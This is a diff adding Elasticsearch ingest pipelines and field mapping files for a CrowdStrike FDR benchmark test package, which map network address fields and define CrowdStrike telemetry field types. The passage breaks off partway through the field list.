a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml new file mode 100644 index 0000000000..eb0cf512b1 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml @@ -0,0 +1,109 @@ +--- +description: Pipeline for processing inbound network details +processors: + - set: + tag: destination_ip_from_currentlocalip_5ec76119 + if: ctx.destination?.ip == null && ctx.crowdstrike?.CurrentLocalIP != null + field: destination.ip + value: '{{{crowdstrike.CurrentLocalIP}}}' + - set: + tag: destination_ip_from_localip_5f25abed + if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalIP != null + field: destination.ip + value: '{{{crowdstrike.LocalIP}}}' + - set: + tag: destination_ip_from_localaddressip4_c71b6775 + if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0 + field: destination.ip + value: '{{{crowdstrike.LocalAddressIP4.0}}}' + - set: + tag: destination_ip_from_localaddressip6_d552cc47 + if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0 + field: destination.ip + value: '{{{crowdstrike.LocalAddressIP6.0}}}' + - convert: + tag: convert_destination_ip_to_ip_559e911d + field: destination.ip + type: ip + ignore_missing: true + on_failure: + - remove: + tag: remove_destination_ip_7d606e5d + field: + - destination.ip + ignore_missing: true + - append: + tag: append_error_message_c754ca33 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + tag: set_destination_address_a940017a + field: destination.address + copy_from: destination.ip + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_LocalPort_to_destination_port_60fd7022 + field: crowdstrike.LocalPort + target_field: destination.port + ignore_missing: true + - rename: + tag: rename_crowdstrike_MAC_to_destination_mac_07d8427b + field: crowdstrike.MAC + target_field: destination.mac + ignore_missing: true + - rename: + tag: rename_crowdstrike_PhysicalAddress_to_destination_mac_bade699a + if: ctx.destination?.mac == null + field: crowdstrike.PhysicalAddress + target_field: destination.mac + ignore_missing: true + - convert: + tag: convert_crowdstrike_RemoteAddressIP4_to_ip_913ca686 + field: crowdstrike.RemoteAddressIP4 + type: ip + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_RemoteAddressIP4_578bef43 + field: + - crowdstrike.RemoteAddressIP4 + ignore_missing: true + - append: + tag: append_error_message_263c65c6 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + tag: rename_crowdstrike_RemoteAddressIP4_to_source_ip_2b41d652 + field: crowdstrike.RemoteAddressIP4 + target_field: source.ip + ignore_missing: true + - convert: + tag: convert_crowdstrike_RemoteAddressIP6_to_ip_96d0c7bc + field: crowdstrike.RemoteAddressIP6 + type: ip + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_RemoteAddressIP6_810cbb5b + field: + - crowdstrike.RemoteAddressIP6 + ignore_missing: true + - append: + tag: append_error_message_85851e5c + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + tag: rename_crowdstrike_RemoteAddressIP6_to_source_ip_f4aba960 + field: crowdstrike.RemoteAddressIP6 + target_field: source.ip + ignore_missing: true + - set: + tag: set_source_address_070d27e8 + field: source.address + copy_from: source.ip + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_RemotePort_to_source_port_4c87dfc0 + field: crowdstrike.RemotePort + target_field: source.port + ignore_missing: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml new file mode 100644 index 0000000000..382ecde3f5 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml @@ -0,0 +1,109 @@ +--- +description: Pipeline for processing outbound network details +processors: + - set: + tag: source_ip_from_currentlocalip_dc8d0d2d + if: ctx.source?.ip == null && ctx.crowdstrike?.CurrentLocalIP != null + field: source.ip + value: '{{{crowdstrike.CurrentLocalIP}}}' + - set: + tag: source_ip_from_localip_005159a1 + if: ctx.source?.ip == null && ctx.crowdstrike?.LocalIP != null + field: source.ip + value: '{{{crowdstrike.LocalIP}}}' + - set: + tag: source_ip_from_localaddressip4_bf550fb1 + if: ctx.source?.ip == null && ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0 + field: source.ip + value: '{{{crowdstrike.LocalAddressIP4.0}}}' + - set: + tag: source_ip_from_localaddressip6_615c3693 + if: ctx.source?.ip == null && ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0 + field: source.ip + value: '{{{crowdstrike.LocalAddressIP6.0}}}' + - convert: + tag: convert_source_ip_to_ip_4084ea08 + field: source.ip + type: ip + ignore_missing: true + on_failure: + - remove: + tag: remove_source_ip_178b5ee1 + field: + - source.ip + ignore_missing: true + - append: + tag: append_error_message_b943fc68 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + tag: set_source_address_070d27e8 + field: source.address + copy_from: source.ip + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_LocalPort_to_source_port_38b3032d + field: crowdstrike.LocalPort + target_field: source.port + ignore_missing: true + - rename: + tag: rename_crowdstrike_MAC_to_source_mac_41d0f60c + field: crowdstrike.MAC + target_field: source.mac + ignore_missing: true + - rename: + tag: rename_crowdstrike_PhysicalAddress_to_source_mac_92994720 + if: ctx.source?.mac == null + field: crowdstrike.PhysicalAddress + target_field: source.mac + ignore_missing: true + - convert: + tag: convert_crowdstrike_RemoteAddressIP4_to_ip_913ca686 + field: crowdstrike.RemoteAddressIP4 + type: ip + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_RemoteAddressIP4_578bef43 + field: + - crowdstrike.RemoteAddressIP4 + ignore_missing: true + - append: + tag: append_error_message_263c65c6 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + tag: rename_crowdstrike_RemoteAddressIP4_to_destination_ip_92030b2f + field: crowdstrike.RemoteAddressIP4 + target_field: destination.ip + ignore_missing: true + - convert: + tag: convert_crowdstrike_RemoteAddressIP6_to_ip_96d0c7bc + field: crowdstrike.RemoteAddressIP6 + type: ip + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_RemoteAddressIP6_810cbb5b + field: + - crowdstrike.RemoteAddressIP6 + ignore_missing: true + - append: + tag: append_error_message_85851e5c + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + tag: rename_crowdstrike_RemoteAddressIP6_to_destination_ip_437bcd59 + field: crowdstrike.RemoteAddressIP6 + target_field: destination.ip + ignore_missing: true + - set: + tag: set_destination_address_a940017a + field: destination.address + copy_from: destination.ip + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_RemotePort_to_destination_port_4c4d0f5d + field: crowdstrike.RemotePort + target_field: destination.port + ignore_missing: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml new file mode 100644 index 0000000000..40140d2dec --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml @@ -0,0 +1,54 @@ +- external: ecs + name: ecs.version + type: constant_keyword + value: 8.17.0 +- name: input.type + type: keyword +- name: log.offset + type: long +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: event.module + type: constant_keyword + description: Event module + value: crowdstrike +- name: event.dataset + type: constant_keyword + description: Event dataset + value: crowdstrike.fdr +- name: '@timestamp' + type: date + description: Event timestamp. +- external: ecs + name: observer.vendor + type: constant_keyword + value: crowdstrike +- external: ecs + name: observer.type + type: constant_keyword + value: agent +- name: aws.s3 + type: group + fields: + - name: bucket + type: group + fields: + - name: name + type: keyword + description: The AWS S3 bucket name. + - name: arn + type: keyword + description: The AWS S3 bucket ARN. + - name: object + type: group + fields: + - name: key + type: keyword + description: The AWS S3 Object key. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml new file mode 100644 index 0000000000..ff12841373 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml @@ -0,0 +1,255 @@ +# Remove this file when kibana.version satisfied ^8.14. +- external: ecs + name: destination.address +- external: ecs + name: destination.as.number +- external: ecs + name: destination.as.organization.name +- external: ecs + name: destination.geo.city_name +- external: ecs + name: destination.geo.continent_name +- external: ecs + name: destination.geo.country_iso_code +- external: ecs + name: destination.geo.country_name +- external: ecs + name: destination.geo.location +- external: ecs + name: destination.geo.region_iso_code +- external: ecs + name: destination.geo.region_name +- external: ecs + name: destination.ip +- external: ecs + name: destination.port +- external: ecs + name: device.id +- external: ecs + name: dns.question.name +- external: ecs + name: dns.question.registered_domain +- external: ecs + name: dns.question.subdomain +- external: ecs + name: dns.question.top_level_domain +- external: ecs + name: dns.question.type +- external: ecs + name: dns.type +- external: ecs + name: event.action +- external: ecs + name: event.category +- external: ecs + name: event.created +- external: ecs + name: event.id +- external: ecs + name: event.kind +- external: ecs + name: event.original +- external: ecs + name: event.outcome +- external: ecs + name: event.timezone +- external: ecs + name: event.type +- external: ecs + name: file.device +- external: ecs + name: file.directory +- external: ecs + name: file.drive_letter +- external: ecs + name: file.extension +- external: ecs + name: file.hash.sha256 +- external: ecs + name: file.inode +- external: ecs + name: file.name +- external: ecs + name: file.path +- external: ecs + name: file.size +- external: ecs + name: file.type +- external: ecs + name: group.id +- external: ecs + name: host.geo.city_name +- external: ecs + name: host.geo.continent_name +- external: ecs + name: host.geo.country_name +- external: ecs + name: host.geo.timezone +- external: ecs + name: host.domain +- external: ecs + name: host.hostname +- external: ecs + name: host.ip +- external: ecs + name: host.name +- external: ecs + name: log.file.path +- external: ecs + name: network.community_id +- external: ecs + name: network.direction +- external: ecs + name: network.iana_number +- external: ecs + name: network.transport +- external: ecs + name: observer.geo.city_name +- external: ecs + name: observer.geo.continent_name +- external: ecs + name: observer.geo.country_iso_code +- external: ecs + name: observer.geo.country_name +- external: ecs + name: observer.geo.location +- external: ecs + name: observer.geo.region_iso_code +- external: ecs + name: observer.geo.region_name +- external: ecs + name: observer.ip +- external: ecs + name: observer.serial_number +- external: ecs + name: observer.version +- external: ecs + name: host.os.type +- external: ecs + name: host.os.version +- external: ecs + name: process.args +- external: ecs + name: process.args_count +- external: ecs + name: process.command_line +- external: ecs + name: process.end +- external: ecs + name: process.entity_id +- external: ecs + name: process.executable + multi_fields: + - name: caseless + ignore_above: 1024 + normalizer: lowercase + type: keyword + - name: text + type: match_only_text +- external: ecs + name: process.name + multi_fields: + - name: caseless + ignore_above: 1024 + normalizer: lowercase + type: keyword + - name: text + type: match_only_text +- external: ecs + name: process.exit_code +- name: process.group.id + type: keyword +- external: ecs + name: process.hash.md5 +- external: ecs + name: process.hash.sha256 +- external: ecs + name: process.parent.entity_id +- external: ecs + name: process.parent.name +- external: ecs + name: process.pgid +- external: ecs + name: process.pid +- external: ecs + name: process.start +- external: ecs + name: process.thread.id +- external: ecs + name: process.title +- external: ecs + name: process.uptime +- external: ecs + name: related.hash +- external: ecs + name: related.hosts +- external: ecs + name: related.ip +- external: ecs + name: related.user +- external: ecs + name: server.address +- external: ecs + name: server.domain +- external: ecs + name: server.registered_domain +- external: ecs + name: server.subdomain +- external: ecs + name: server.top_level_domain +- external: ecs + name: source.address +- external: ecs + name: source.as.number +- external: ecs + name: source.as.organization.name +- external: ecs + name: source.geo.city_name +- external: ecs + name: source.geo.continent_name +- external: ecs + name: source.geo.country_iso_code +- external: ecs + name: source.geo.country_name +- external: ecs + name: source.geo.location +- external: ecs + name: source.geo.region_iso_code +- external: ecs + name: source.geo.region_name +- external: ecs + name: source.ip +- external: ecs + name: source.mac +- external: ecs + name: source.port +- external: ecs + name: tags +- external: ecs + name: url.domain +- external: ecs + name: url.extension +- external: ecs + name: url.original +- external: ecs + name: url.path +- external: ecs + name: url.registered_domain +- external: ecs + name: url.scheme +- external: ecs + name: url.subdomain +- external: ecs + name: url.top_level_domain +- external: ecs + name: user.domain +- external: ecs + name: user.email +- external: ecs + name: user.full_name +- external: ecs + name: user.group.id +- external: ecs + name: user.id +- external: ecs + name: user.name diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml new file mode 100644 index 0000000000..cb9381b02f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml @@ -0,0 +1,2060 @@ +- name: observer.address + type: keyword +- name: crowdstrike + type: group + fields: + - name: __mv_LocalAddressIP4 + type: keyword + - name: __mv_aip + type: keyword + - name: __mv_discoverer_aid + type: keyword + - name: aid + type: keyword + - name: AccessType + type: keyword + - name: AccountDomain + type: match_only_text + - name: AccountObjectGuid + type: match_only_text + - name: AccountObjectSid + type: match_only_text + - name: AccountType + type: keyword + - name: ActiveDirectoryAuthenticationMethod + type: keyword + - name: ActivityId + type: keyword + - name: AddressFamily + type: keyword + - name: AdminStatus + type: keyword + - name: AgentIdString + type: keyword + - name: AgentLoadFlags + type: keyword + - name: AgentLocalTime + type: date + - name: AgentTimeOffset + type: float + - name: AgentVersion + type: keyword + - name: AggregateId + type: keyword + - name: AllocateVirtualMemoryCount + type: long + - name: AllowlistingFilterId + type: keyword + - name: ApiReturnValue + type: keyword + - name: ApplicationName + type: match_only_text + - name: ArchiveFileWrittenCount + type: long + - name: AsepClass + type: keyword + - name: AsepFlags + type: keyword + - name: AsepIndex + type: keyword + - name: AsepValueType + type: keyword + - name: AsepWrittenCount + type: long + - name: AssociatedFile + type: keyword + - name: Attacks + type: group + fields: + - name: Tactic + type: keyword + - name: Technique + type: keyword + - name: AttemptNumber + type: long + - name: AuthenticationActivityId + type: keyword + - name: AuthenticationId + type: keyword + - name: AuthenticationPackage + type: keyword + - name: AuthenticationUuid + type: keyword + - name: AuthenticationUuidAsString + type: keyword + - name: AuthenticodeHashData + type: keyword + - name: AuthenticodeHashDataSHA256 + type: keyword + - name: BaseReachableTime + type: keyword + - name: BinaryExecutableWrittenCount + type: long + - name: BiosChanged + type: match_only_text + - name: BiosManufacturer + type: keyword + - name: BiosReleaseDate + type: date + - name: BiosVersion + type: keyword + - name: BluetoothClassOfDeviceValue + type: match_only_text + - name: BluetoothDeviceAppearanceValue + type: match_only_text + - name: BluetoothDeviceModelNumber + type: match_only_text + - name: BluetoothDeviceName + type: match_only_text + - name: BluetoothServiceName_1 + type: match_only_text + - name: BluetoothServiceName_3 + type: match_only_text + - name: BluetoothServiceName_4 + type: match_only_text + - name: BluetoothServiceName_5 + type: match_only_text + - name: BluetoothServiceName_6 + type: match_only_text + - name: BluetoothServiceName_7 + type: match_only_text + - name: BluetoothServiceName_8 + type: match_only_text + - name: BluetoothServiceUuidArray + type: match_only_text + - name: BluetoothServiceUuid_1 + type: match_only_text + - name: BluetoothServiceUuid_2 + type: match_only_text + - name: BluetoothServiceUuid_3 + type: match_only_text + - name: BluetoothServiceUuid_4 + type: match_only_text + - name: BluetoothServiceUuid_5 + type: match_only_text + - name: BluetoothServiceUuid_6 + type: match_only_text + - name: BluetoothServiceUuid_7 + type: match_only_text + - name: BluetoothServiceUuid_8 + type: match_only_text + - name: BluetoothVendorIdSource + type: match_only_text + - name: BootArgs + type: keyword + - name: BootTimeFunctionalityLevel + type: keyword + - name: BoundedCount + type: long + - name: BoundingLimitCount + type: long + - name: BoundingLimitDuration + type: keyword + - name: BundleID + type: keyword + - name: CapPrm + type: keyword + - name: CertificateIssuer + type: keyword + - name: CertificatePublisher + type: keyword + - name: CertificateSignatureHash + type: keyword + - name: CertificateSignatureHashAlgorithm + type: keyword + - name: CLICreationCount + type: long + - name: CallStackModuleNames + type: keyword + - name: CallStackModuleNamesVersion + type: version + - name: ChangedPcrBitmap + type: match_only_text + - name: ChangeTime + type: date + - name: ChannelDiffStatus + type: keyword + - name: ChannelId + type: keyword + - name: ChannelVersion + type: keyword + - name: ChannelVersionRequired + type: keyword + - name: ChasisManufacturer + type: keyword + - name: ChassisType + type: keyword + - name: ClientComputerName + type: keyword + - name: ClientId + type: match_only_text + - name: CloudIndicator + type: boolean + - name: CNAMERecords + type: keyword + # - name: crowdstrike.CommandCount + # type: long + - name: CommandCount + type: match_only_text + # - name: crowdstrike.CommandCountMax + # type: long + - name: CommandCountMax + type: match_only_text + - name: CommandHistory + type: keyword + multi_fields: + - name: text + type: match_only_text + - name: CompletionEventId + type: keyword + - name: CompositeId + type: keyword + description: Global unique identifier that identifies a unique alert. + - name: ConHostId + type: keyword + - name: ConHostProcessId + type: keyword + - name: ConfigBuild + type: keyword + - name: ConfigIDBase + type: keyword + - name: ConfigIDBuild + type: keyword + - name: ConfigIDPlatform + type: keyword + - name: ConfigStateData + type: text + - name: ConfigStateHash + type: keyword + - name: ConfigurationDescriptorName + type: match_only_text + - name: ConfigurationVersion + type: keyword + - name: ConnectTime + type: date + - name: ConnectType + type: keyword + - name: ConnectionAddressIP6 + type: match_only_text + - name: ConnectionFlags + type: keyword + - name: ContextBaseFileName + type: keyword + - name: ContextProcessId + type: keyword + - name: ContextTimeStamp + type: date + description: System local time of event creation. + - name: CpuClockSpeed + type: keyword + - name: CpuFeaturesMask + type: keyword + - name: CpuProcessorName + type: keyword + - name: CpuSignature + type: keyword + - name: CpuVendor + type: keyword + - name: CreateProcessCount + type: long + - name: CreateProcessType + type: keyword + - name: CompanyName + type: keyword + - name: ConnectionType + type: keyword + - name: ContentSHA256HashData + type: keyword + - name: ContextImageFileName + type: keyword + - name: CurrentFunctionalityLevel + type: keyword + - name: CurrentLocalIP + type: ip + - name: CustomerIdString + type: keyword + - name: CycleTime + type: long + - name: DadState + type: keyword + - name: DadTransmits + type: keyword + - name: Data1 + type: keyword + - name: DataDomains + type: keyword + - name: DcNumAttachments + type: match_only_text + - name: DcNumBlockingPolicies + type: match_only_text + - name: Description + type: keyword + - name: DesiredAccess + type: keyword + - name: DetectDescription + type: keyword + - name: DetectId + type: keyword + - name: DetectName + type: keyword + - name: DeviceId + type: keyword + - name: DeviceMountCounter + type: long + - name: DevicePropertyClassGuid + type: match_only_text + - name: DevicePropertyClassName + type: match_only_text + - name: DevicePropertyLocationInformation + type: match_only_text + - name: DirectionType + type: keyword + - name: DirectoryCreatedCount + type: long + - name: DirectoryEnumeratedCount + type: long + - name: DllCharacteristics + type: keyword + - name: DnsRequestCount + type: long + - name: DnsRequests + type: nested + description: | + Detected DNS requests done by a process. + - name: DnsResponseType + type: keyword + - name: DocumentFileWrittenCount + type: long + - name: DomainSid + type: keyword + - name: DownloadPath + type: keyword + - name: DownloadPort + type: long + - name: DownloadServer + type: keyword + - name: DriverLoadFlags + type: keyword + - name: DualRequest + type: keyword + - name: DylibPath + type: match_only_text + - name: ELFSubType + type: keyword + - name: EffectiveTransmissionClass + type: keyword + - name: EfiVariableCustomModeAttributes + type: match_only_text + - name: EfiVariableDbAttributes + type: match_only_text + - name: EfiVariableDbSha256Hash + type: match_only_text + - name: EfiVariableKekAttributes + type: match_only_text + - name: EfiVariableKekSha256Hash + type: match_only_text + - name: EfiVariablePkAttributes + type: match_only_text + - name: EfiVariablePkSha256Hash + type: match_only_text + - name: EfiVariableSecureBootAttributes + type: match_only_text + - name: EfiVariableSetupMode + type: match_only_text + - name: EfiVariableSetupModeAttributes + type: match_only_text + - name: EfiVariableSignatureSupport + type: match_only_text + - name: EfiVariableSignatureSupportAttributes + type: match_only_text + - name: EnabledPrivilegesBitmask + type: keyword + - name: EndTime + type: date + - name: Entitlements + type: keyword + - name: EnvironmentVariableName + type: keyword + - name: EnvironmentVariablesString + type: match_only_text + - name: EnvironmentVariableValue + type: keyword + - name: ErrorCode + type: keyword + - name: ErrorStatus + type: keyword + - name: EtwRawProcessId + type: long + - name: EtwRawThreadId + type: long + - name: EventCorrelationId + type: keyword + - name: EventOrigin + type: integer + - name: EventType + type: keyword + - name: EventUUID + type: keyword + - name: ExceptionAddress + type: keyword + - name: ExceptionCode + type: keyword + - name: ExceptionInformation0 + type: keyword + - name: ExclusionSource + type: keyword + - name: ExclusionType + type: keyword + - name: ExeAndServiceCount + type: long + - name: ExecutableBytes + type: match_only_text + - name: ExecutableDeletedCount + type: long + - name: ExtendedAttributeValue + type: match_only_text + - name: ExtendedAttributeValueReadable + type: match_only_text + - name: ExtendedKeyUsages + type: keyword + - name: ExternalApiType + type: keyword + - name: FXFileSize + type: keyword + - name: Facility + type: keyword + - name: FailedConnectCount + type: long + - name: FalconGroupingTags + type: keyword + - name: FalconHostLink + type: keyword + - name: FeatureExtractionVersion + type: keyword + - name: FeatureVector + type: match_only_text + - name: File + type: keyword + - name: FileAttributes + type: keyword + - name: FileCategory + type: keyword + - name: FileContent + type: match_only_text + - name: FileDeletedCount + type: long + - name: FileEcpBitmask + type: keyword + - name: FileName + type: keyword + - name: FileObject + type: keyword + - name: FileOperatorSid + type: keyword + - name: FilePath + type: keyword + - name: FileSigningTime + type: keyword + - name: FileSubType + type: keyword + - name: FileSystemOperationType + type: keyword + - name: FileVaultIsEnabled + type: match_only_text + - name: FileVersion + type: keyword + - name: FilesAccessed + type: group + fields: + - name: FileName + type: keyword + - name: FilePath + type: keyword + - name: Timestamp + type: date + - name: FilesWritten + type: group + fields: + - name: FileName + type: keyword + - name: FilePath + type: keyword + - name: Timestamp + type: date + - name: FileWrittenFlags + type: keyword + - name: FirewallAction + type: keyword + - name: FirewallOption + type: keyword + - name: FirewallOptionNumericValue + type: keyword + - name: FirewallProfile + type: keyword + - name: FirewallRule + type: keyword + - name: FirewallRuleId + type: keyword + - name: FirmwareAnalysisEclConsumerInterfaceVersion + type: keyword + - name: FirmwareAnalysisEclControlInterfaceVersion + type: keyword + - name: FirstCommand + type: match_only_text + - name: FirstDiscoveredDate + type: date + - name: FirstIP4Record + type: keyword + - name: FirstSeen + type: date + - name: FixedFileVersion + type: keyword + - name: Flags + type: keyword + - name: FltCallbackData + type: keyword + - name: FltCompletionContext + type: keyword + - name: FltRelatedObjects + type: keyword + - name: FontBuffer + type: keyword + - name: FontBufferLength + type: keyword + - name: FontFileCount + type: long + - name: FontFileName + type: keyword + - name: FontLoadOperation + type: keyword + - name: FsOperationClassification + type: keyword + - name: FsOperationClassificationFlags + type: keyword + - name: FullExceptionRecord + type: keyword + - name: GenericFileWrittenCount + type: long + - name: GrandParentBaseFileName + type: keyword + - name: GrandparentCommandLine + type: keyword + multi_fields: + - name: text + type: match_only_text + - name: GrandparentImageFileName + type: keyword + - name: GrandparentImageFilePath + type: keyword + - name: GroupRid + type: keyword + - name: HandleCreateAuthenticationId + type: keyword + - name: HandleCreated + type: keyword + - name: HashAlgorithm + type: keyword + - name: HostGroups + type: keyword + - name: HostHiddenStatus + type: keyword + - name: HostProcessType + type: keyword + - name: HttpInternalSource + type: match_only_text + - name: HttpMethod + type: match_only_text + - name: HttpRequestHeader + type: match_only_text + - name: HttpUrl + type: match_only_text + - name: IcmpCode + type: keyword + - name: IcmpType + type: keyword + - name: IfType + type: keyword + - name: ImageCheckSum + type: keyword + - name: ImageEntryPoint + type: keyword + - name: ImageFileName + type: keyword + - name: ImageSignatureLevel + type: keyword + - name: ImageSignatureType + type: keyword + - name: ImageTimeStamp + type: keyword + - name: ImpersonatedUserName + type: keyword + - name: InBroadcastOctets + type: keyword + - name: InjectedDll + type: keyword + - name: InjectedThreadFlag + type: keyword + - name: InMulticastOctets + type: keyword + - name: InNUcastPkts + type: keyword + - name: InterfaceDescription + type: keyword + - name: InterfaceFlags + type: keyword + - name: InterfaceIdentifier + type: keyword + - name: InterfaceMtu + type: keyword + - name: InUcastOctets + type: keyword + - name: IOCType + type: keyword + - name: IOCValue + type: keyword + - name: IOServiceClass + type: keyword + - name: IOServiceName + type: keyword + - name: IOServicePath + type: keyword + - name: IP4Records + type: keyword + - name: IpEntryFlags + type: keyword + - name: ImageSubsystem + type: keyword + - name: InContext + type: keyword + - name: InDiscards + type: keyword + - name: InErrors + type: keyword + - name: InMulticastPkts + type: keyword + - name: InOctets + type: keyword + - name: InUcastPkts + type: keyword + - name: InUnknownProtos + type: keyword + - name: IndividualDiskInfo + type: match_only_text + - name: Information + type: keyword + - name: InjectedDllCount + type: long + - name: InjectedThreadCount + type: long + - name: InstanceMetadata + type: match_only_text + - name: InstanceMetadataSignature + type: match_only_text + - name: IntegrityLevel + type: keyword + - name: InterfaceAlias + type: keyword + - name: InterfaceGuid + type: keyword + - name: InterfaceIndex + type: long + - name: InterfaceKind + type: match_only_text + - name: InterfaceType + type: keyword + - name: InterfaceVersion + type: keyword + - name: IrpFlags + type: keyword + - name: IsOnNetwork + type: keyword + - name: IsOnRemovableDisk + type: keyword + - name: IsProcessInitializing + type: keyword + - name: IsTransactedFile + type: keyword + - name: IsUnique + type: keyword + - name: KernelTime + type: long + - name: KeyObject + type: match_only_text + - name: LanguageId + type: keyword + - name: LastAdded + type: match_only_text + - name: LastDiscoveredBy + type: keyword + - name: LastDisplayed + type: match_only_text + - name: LastLoggedOnHost + type: keyword + - name: LastPendingUpdateInstalledTime + type: match_only_text + - name: LaunchItemType + type: match_only_text + - name: LaunchItemUrl + type: match_only_text + - name: LdapSearchFilterSample + type: match_only_text + - name: LfoUploadFlags + type: keyword + - name: LightningLatencyState + type: keyword + - name: Line + type: keyword + - name: LinkLocalAddressBehavior + type: keyword + - name: LinkLocalAddressTimeout + type: keyword + - name: LocalAddressIP4 + type: ip + - name: LocalAddressIP6 + type: ip + - name: LocalAddressMaskIP4 + type: keyword + - name: LocalAddressMaskIP6 + type: keyword + - name: LocalIpAddressPipelineSource + type: keyword + - name: LocalAdminAccess + type: keyword + - name: LocalIP + type: ip + - name: LocalIPv6 + type: ip + - name: LogicalCoreCount + type: long + - name: LoginSessionId + type: keyword + - name: LogoffTime + type: date + - name: LogonDomain + type: keyword + - name: LogonId + type: keyword + - name: LogonInfo + type: keyword + - name: LogonServer + type: keyword + - name: LogonTime + type: date + - name: LogonType + type: keyword + - name: MACAddress + type: keyword + - name: MACPrefix + type: keyword + - name: MD5String + type: keyword + - name: MLModelVersion + type: keyword + - name: MachOSubType + type: keyword + - name: MajorFunction + type: keyword + - name: MajorVersion + type: keyword + - name: Malicious + type: keyword + - name: ManagedPdbBuildPath + type: match_only_text + - name: MappedFromUserMode + type: keyword + - name: MaxReassemblySize + type: keyword + - name: MaxRouterAdvertisementInterval + type: keyword + - name: MaxThreadCount + type: long + - name: MediaConnectState + type: keyword + - name: MediaType + type: keyword + - name: MemoryAvailable + type: match_only_text + - name: Metric + type: keyword + - name: MD5HashData + type: keyword + - name: MemoryTotal + type: keyword + - name: MicrocodeSignature + type: keyword + - name: MinorFunction + type: keyword + - name: MinorVersion + type: keyword + - name: MinRouterAdvertisementInterval + type: keyword + - name: ModuleCharacteristics + type: keyword + - name: ModuleSize + type: keyword + - name: MmioDataGenPmconB + type: match_only_text + - name: MmioDataSmiEn + type: match_only_text + - name: MmioDataTco1Cnt + type: match_only_text + - name: MoboManufacturer + type: keyword + - name: MoboProductName + type: keyword + - name: ModelPrediction + type: keyword + - name: ModuleLoadCount + type: long + - name: ModuleLoadTelemetryClassification + type: keyword + - name: NDRoot + type: keyword + - name: NegateInterface + type: keyword + - name: NegateLocalAddress + type: keyword + - name: NegateRemoteAddress + type: keyword + - name: NeighborList + type: keyword + - name: NeighborName + type: keyword + - name: NetLuidIndex + type: long + - name: NetworkAccesses + type: group + fields: + - name: AccessTimestamp + type: keyword + - name: AccessType + type: keyword + - name: ConnectionDirection + type: keyword + - name: IsIPV6 + type: keyword + - name: LocalAddress + type: keyword + - name: LocalPort + type: keyword + - name: Protocol + type: keyword + - name: RemoteAddress + type: keyword + - name: RemotePort + type: keyword + - name: NetworkBindCount + type: long + - name: NetworkCapableAsepWriteCount + type: long + - name: NetworkCloseCount + type: long + - name: NetworkConnectCount + type: long + - name: NetworkConnectCountUdp + type: long + - name: NetworkContainmentState + type: keyword + - name: NetworkGuid + type: keyword + - name: NetworkInterfaceGuid + type: keyword + - name: NetworkListenCount + type: long + - name: NetworkModuleLoadCount + type: long + - name: NetworkRecvAcceptCount + type: long + - name: 